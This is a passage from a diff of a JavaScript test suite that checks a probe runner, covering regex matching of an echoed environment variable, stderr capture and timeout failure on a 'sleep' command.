+    const ok = await runProbe({ run: "echo hi-$PROBE_X; echo e >&2", pass: { kind: "regex", re: "hi-1" } }, { cwd: process.cwd(), env: probeEnv(["PROBE_X"], { PATH: process.env.PATH, PROBE_X: "1" }) });
+    assert.equal(ok.result, "pass"); assert.match(ok.output, /e/);
+    const slow = await runProbe({ run: "sleep 5", pass: { kind: "exit" }, timeoutS: 0.2 }, { cwd: process.cwd(), env: { PATH: process.env.PATH }, spawn: spawnProbe });
+    assert.equal(slow.result, "fail"); assert.equal(slow.exit, null);
+  });
+});